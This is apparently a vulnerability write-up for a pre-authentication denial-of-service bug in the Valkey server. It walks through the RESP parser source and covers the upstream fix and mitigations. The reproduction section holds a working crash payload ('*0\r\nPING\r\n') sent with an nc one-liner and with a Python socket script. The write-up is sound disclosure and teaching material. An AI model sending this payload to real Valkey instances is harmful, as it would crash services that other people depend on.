CVE-2026-27623 — Pre-Authentication DOS from malformed RESP request #
Valkey pre-auth DoS | RESP protocol state machine | CVSS 3.1: 7.5 HIGH | CWE-20 | no auth required | Reproduction steps
When Valkey (Redis-family open-source fork) handles a malformed RESP request, it fails to reset
reqtypeon the “empty multibulk” path. An attacker only needs one TCP connection and a pipelined*0\r\nPING\r\nto trip an assertion innetworking.cand abort the entirevalkey-serverprocess — no prior login or complex handshake.
Vulnerability overview #
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-27623 |
| Codename | Pre-Authentication DOS from malformed RESP request |
| Type | Remote DoS (assertion failure → process abort); triggerable before auth |
| CVSS 3.1 | 7.5 HIGH (GitHub Advisory: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| CWE | CWE-20 (Improper Input Validation) |
| Component | valkey-server; parsing concentrated in src/networking.c (processInputBuffer / parseMultibulk / handleParseResults, etc.) |
| Discoverers | NVIDIA Networking Security (Daniel Bransky, Eliya Cohen; see official GHSA Credits) |
| Disclosure & fix | GitHub Security Advisory GHSA-93p9-5vc7-8wgr (2026-02-23); patch commit 2c311dd7173 |
| Exploit conditions | Reach Valkey listen port; send once *0\r\nPING\r\n (pipelined in the same TCP buffer) |
Affected range #
Valkey versions #
Per the official advisory (GHSA text; treat => as ≥):
受影响:Valkey ≥ 9.0.0 且 ≤ 9.0.2
已修复:9.0.3 及以上
PoC and source walkthrough here default to the 9.0.2 tag. For post-fix behavior, use 9.0.3 or a branch containing 2c311dd.
Other notes #
| Item | Note |
|---|---|
| Redis mainline | This CVE and PoC target Valkey; other forks that merged the same parser logic should follow their own advisories. |
| Exposure | Same as typical in-memory DB deployments: unpatched instances exposed to untrusted networks can be one-packet DoSed. Use non-default ports in labs; avoid public listen. |
Root-cause analysis #
You need a basic understanding of Redis RESP.
From a systems / network design view, RESP is a classic protocol: human-readable like HTTP, yet efficient to parse like binary. Core philosophy: prefix bytes select type, and
\r\n(CRLF) frames boundaries.Example:
*2\r\n # 发送一个长度为2的数组 $3\r\n # 这是第一个元素,长度为3 就是foo字符串的长度。 foo\r\n $3\r\n # 这是第二个元素,长度也为3。 bar\r\n
Injected raw bytes (ASCII, no spaces):
*0\r\nPING\r\n
*0\r\n: RESP2 Array header with 0 elements (no$…arg lines). To the server: a “multibulk length 0” request header.PING\r\n: RESP/Telnet-style inline command (whole line is the command; does not start with*).
Essence: after the first segment is handled as “multibulk finished”, client state still treats “the next segment as multibulk” (the state-machine bug). When the second segment starts with P, the parser still asserts “a new array must start with *", and crashes.
1. Entry: read into querybuf and enter the process loop
#
Inspect Valkey 9.0.2
networking.c; we only walk the important blocks.
- After
ncconnects, the kernel delivers the whole*0\r\nPING\r\nviaread(2). - In
readQueryFromClient,readToQueryBufappends toc->querybuf; on successhandleReadResultcallsprocessInputBuffer(see the call nearreadQueryFromClient).
void readQueryFromClient(connection *conn) {
client *c = connGetPrivateData(conn);
/* Check if we can send the client to be handled by the IO-thread */
// 这里是否启用了IO线程都没有影响
if (postponeClientRead(c)) return;
if (c->io_write_state != CLIENT_IDLE || c->io_read_state != CLIENT_IDLE) return;
bool repeat = false;
int iter = 0;
do {
bool full_read = readToQueryBuf(c);
if (handleReadResult(c) == C_OK) {
// 就是处理输入的缓冲区
if (processInputBuffer(c) == C_ERR) return;
......
Main loop is processInputBuffer: clear read_flags, optionally parseInputBuffer, then handleParseResults.
int processInputBuffer(client *c) {
/* Parse the query buffer and/or execute already parsed commands. */
while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
c->cmd_queue.off < c->cmd_queue.len) {
if (!canParseCommand(c)) {
break;
}
c->read_flags = isReplicatedClient(c) ? READ_FLAGS_REPLICATED : 0;
c->read_flags |= authRequired(c) ? READ_FLAGS_AUTH_REQUIRED : 0;
/* If commands are queued up, pop from the queue first */
if (!consumeCommandQueue(c)) {
// 这里进行输入缓冲区的解析
parseInputBuffer(c);
prepareCommandQueue(c);
}
/* Prefetch keys for the next commands in queue, if not already done. */
prefetchCommandQueueKeys(c);
if (handleParseResults(c) != PARSE_OK) {
break;
}
Key point: one read can carry multiple logical requests; when the first produces no executable command (argc == 0), the loop continues and immediately parses remaining bytes on the same buffer/connection.
2. First parse: recognize multibulk and consume *0\r\n
#
2.1 Choose “next is multibulk or inline” #
In parseInputBuffer, only when c->reqtype == 0 do we look at the first byte:
void parseInputBuffer(client *c) {
/* The command queue must be emptied before parsing. */
serverAssert(c->cmd_queue.len == 0);
/* Determine request type when unknown. */
if (!c->reqtype) {
if (c->querybuf[c->qb_pos] == '*') {
c->reqtype = PROTO_REQ_MULTIBULK;
} else {
c->reqtype = PROTO_REQ_INLINE;
}
}
if (c->reqtype == PROTO_REQ_INLINE) {
parseInlineBuffer(c);
} else if (c->reqtype == PROTO_REQ_MULTIBULK) {
parseMultibulkBuffer(c);
} else {
serverPanic("Unknown request type");
}
}
On a new connection reqtype == 0, qb_pos == 0, first byte is *, so c->reqtype = PROTO_REQ_MULTIBULK, then parseMultibulkBuffer → parseMultibulk.
2.2 Parse *0\r\n: advance read pointer to P, set “zero/negative multibulk” flag
#
Walk into parseMultibulkBuffer → parseMultibulk:
When c->multibulklen == 0, we are “starting a new *<n>\r\n line”:
memchrfor\rto ensure a full line.- Assert current position is
*(normal RESP arrays always are — see assert below). - Parse
ll == 0, moveqb_pospast that line’s CRLF (pointing atP), then returnREAD_FLAGS_PARSING_NEGATIVE_MBULK_LEN.
static int parseMultibulk(client *c,
int *argc,
robj ***argv,
int *argv_len,
size_t *argv_len_sum,
unsigned long long *net_input_bytes_curr_cmd) {
char *newline = NULL;
int ok;
long long ll;
int is_replicated = c->read_flags & READ_FLAGS_REPLICATED;
int auth_required = c->read_flags & READ_FLAGS_AUTH_REQUIRED;
// 这条 multibulk 头表示 0 个参数,本条逻辑命令结束
if (c->multibulklen == 0) {
/* The client (argc) should have been reset */
serverAssertWithInfo(c, NULL, *argc == 0);
/* Multi bulk length cannot be read without a \r\n */
newline = memchr(c->querybuf + c->qb_pos, '\r', sdslen(c->querybuf) - c->qb_pos);
if (newline == NULL) {
if (sdslen(c->querybuf) - c->qb_pos > PROTO_INLINE_MAX_SIZE) {
return READ_FLAGS_ERROR_BIG_MULTIBULK;
}
return 0;
}
/* Buffer should also contain \n */
if (newline - (c->querybuf + c->qb_pos) > (ssize_t)(sdslen(c->querybuf) - c->qb_pos - 2)) return 0;
/* We know for sure there is a whole line since newline != NULL,
* so go ahead and find out the multi bulk length. */
serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');
......
c->qb_pos = (newline - c->querybuf) + 2;
if (ll <= 0) {
return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN;
}
......
parseMultibulkBuffer ORs the return into c->read_flags and returns:
void parseMultibulkBuffer(client *c) {
int flag = parseMultibulk(c, &c->argc, &c->argv, &c->argv_len,
&c->argv_len_sum, &c->net_input_bytes_curr_cmd);
c->read_flags |= flag;
......
3. handleParseResults: treats “this request done”, but forgets to clear reqtype
#
Seeing READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN, handleParseResults takes the “multibulk saw <=0 length” branch: only resetClient, then PARSE_OK:
/* This function is called after the query-buffer was parsed.
* It is used to handle parsing errors and to update the client state.
* The function returns C_OK if a command can be executed, otherwise C_ERR. */
parseResult handleParseResults(client *c) {
......
if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
/* Multibulk processing could see a <= 0 length. */
resetClient(c);
return PARSE_OK;
}
......
}
Critical: resetClient mainly clears argv / command-related flags and does not set c->reqtype back to 0.
So on vulnerable versions (9.0.0–9.0.2), after the first parse:
c->reqtype == PROTO_REQ_MULTIBULK(set on first entry toparseInputBuffer)c->qb_pospoints atPofPING\r\n, with unconsumed data left.
4. Second round of processInputBuffer: continue when argc == 0
#
The first parse formed no executable command (argc == 0); later branches continue as long as qb_pos < sdslen(querybuf), running parseInputBuffer again.
int processInputBuffer(client *c) {
/* Parse the query buffer and/or execute already parsed commands. */
while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
c->cmd_queue.off < c->cmd_queue.len) {
......
}
5. Second parse: still multibulk, first byte is P → assert fires
#
On the second parseInputBuffer, unfixed c->reqtype stays PROTO_REQ_MULTIBULK, so the if (!c->reqtype) { ... } re-selection by * / non-* is skipped; enter parseMultibulk again → with multibulklen == 0, code thinks “start next *<n>\r\n line” and again runs:
serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');
That is the assertion failure.
Here c->querybuf[c->qb_pos] == 'P' (first letter of PING), not *; serverAssertWithInfo fails and the process aborts per assert config — the classic path when pipelining *0\r\n then inline PING\r\n.
6. Trigger flow summary #
| Step | Buffer semantics | Critical state |
|---|---|---|
| Read | Full *0\r\nPING\r\n in querybuf |
reqtype=0 |
First parseInputBuffer |
See *, take multibulk |
reqtype=MULTIBULK |
parseMultibulk |
Consume *0\r\n, qb_pos→P |
Return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN |
handleParseResults |
resetClient, old code leaves reqtype |
reqtype still MULTIBULK |
Second parseInputBuffer |
Skip type detect | Still parseMultibulkBuffer |
parseMultibulk |
Expects new line to start with * |
At qb_pos is P → assert at line 3528 fails |
Exploitation #
Attack surface and prerequisites #
- Network reachability: TCP to
valkey-server(PoC uses plaintext; with TLS termination, attack surface is wherever bytes to Valkey can be rewritten). - No auth: Crash is in protocol parsing, before command execution and ACL.
- Low interaction: Single connection, short payload; combines multi-segment parse within one
readwith incorrectly retainedreqtype.
Payload semantics #
| Fragment | Protocol role |
|---|---|
*0\r\n |
RESP2 array header, length 0; no executable command (argc == 0) |
PING\r\n |
Inline-style command line (whole line; not *-prefixed) |
After the zero-length multibulk path returns, old versions leave c->reqtype non-zero; the second segment should reclassify as inline but still takes multibulk, then asserts in parseMultibulk that a new array line must start with *. Details in Root-cause analysis.
Mapping to this repo’s PoC #
| File | Note |
|---|---|
exploit/exp.py |
Uses socket to send *0\r\nPING\r\n to default 127.0.0.1:16379, equivalent to the Python snippet in Reproduction steps. |
Reproduction steps #
1. Prepare the environment #
- Separate directory or container (do not hit other local Redis/Valkey).
- Check out the affected tag and clean-build (strongly recommend
distcleanwhen switching branches):
git fetch --tags
git checkout 9.0.2 # 在本次受影响的范围之内
make distclean && make -j"$(nproc)"
- Start on a non-default port with protection off (lab only):
./src/valkey-server --port 16379 --protected-mode no
Use another terminal to send; or --daemonize yes + pidfile.
2. Main repro: pipeline two segments in one TCP write #
Raw bytes (hex):
2a 30 0d 0a 50 49 4e 47 0d 0a
ASCII: *0\r\nPING\r\n (no extra spaces).
2.1 With nc
#
printf '*0\r\nPING\r\n' | nc -w 2 127.0.0.1 16379
Typical on 9.0.2:
valkey-server exits (or logs an assert); nc may not see a normal +PONG; peer closes the connection.
Assert log looks like:
=== VALKEY BUG REPORT START: Cut & paste starting from here ===
190361:M 22 May 2026 16:06:10.113 # === ASSERTION FAILED CLIENT CONTEXT ===
190361:M 22 May 2026 16:06:10.113 # client->flags = 108086391056891904
190361:M 22 May 2026 16:06:10.113 # client->conn = fd=10
190361:M 22 May 2026 16:06:10.113 # client->argc = 0
190361:M 22 May 2026 16:06:10.113 # === RECURSIVE ASSERTION FAILED ===
190361:M 22 May 2026 16:06:10.113 # ==> networking.c:3528 'c->querybuf[c->qb_pos] == '*'' is not true
Typical on 9.0.3+ (or fixed unstable):
Process survives; you may see handling of *0, then +PONG (or RESP3 equivalent) for PING depending on HELLO.
2.2 With this repo’s script (exploit/exp.py)
#
From the cloned vulnerability directory (default 127.0.0.1:16379; edit host/port if needed):
cd "CVE-2026-27623 Pre-Authentication DOS from malformed RESP request"
python3 exploit/exp.py
On affected versions, common output is recv: b'' or connection reset (server aborted); same as §2.1.
2.3 Inline Python (equivalent to exp.py)
#
import socket
host, port = "127.0.0.1", 16379
payload = b"*0\r\nPING\r\n"
with socket.create_connection((host, port)) as s:
s.sendall(payload)
try:
print("recv:", s.recv(4096))
except ConnectionResetError as e:
print("connection reset (common if server aborted):", e)
Fix #
Upstream fix (recommended) #
Root cause: paths such as READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN did not clear reqtype after resetClient, so remaining inline data in the same buffer was still parsed as multibulk. Upstream adds c->reqtype = 0 in the relevant handleParseResults branches and adds regression tests (tests/unit/protocol.tcl).
- Patch commit: valkey-io/valkey@
2c311dd7173(2026-02-23) - Release: upgrade to Valkey ≥ 9.0.3 (or distro packages that backported the patch).
Critical diff (excerpt) #
@@ -3096,12 +3096,14 @@ parseResult handleParseResults(client *c) {
/* in case the client's query was an empty line we will ignore it and proceed to process the rest of the buffer
* if any */
resetClient(c);
c->reqtype = 0;
return PARSE_OK;
}
if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
/* Multibulk processing could see a <= 0 length. */
resetClient(c);
c->reqtype = 0;
return PARSE_OK;
}
Temporary mitigation #
If you cannot upgrade immediately, network isolation (firewall, Kubernetes NetworkPolicy, cloud SGs) restrict Valkey listen ports to trusted nets; the advisory also recommends trusted-user-only access. These reduce exploit probability but do not replace upgrading.
Timeline #
| Date | Event |
|---|---|
| 2026-02-23 | Upstream fix 2c311dd7173 (reset reqtype in handleParseResults; regression in tests/unit/protocol.tcl) |
| 2026-02-23 | GitHub Security Advisory GHSA-93p9-5vc7-8wgr |
CVE registration dates / vectors in MITRE / NVD follow later official sync.
References #
| Source | Link |
|---|---|
| GitHub Security Advisory | https://github.com/valkey-io/valkey/security/advisories/GHSA-93p9-5vc7-8wgr |
| Upstream fix commit | https://github.com/valkey-io/valkey/commit/2c311dd7173ffc715a3d61266fdede6096a097de |
| Valkey repo | https://github.com/valkey-io/valkey |
- Reported by: NVIDIA Networking Security (Daniel Bransky, Eliya Cohen; see GHSA Credits)
- Link check date for this note: 2026-05-22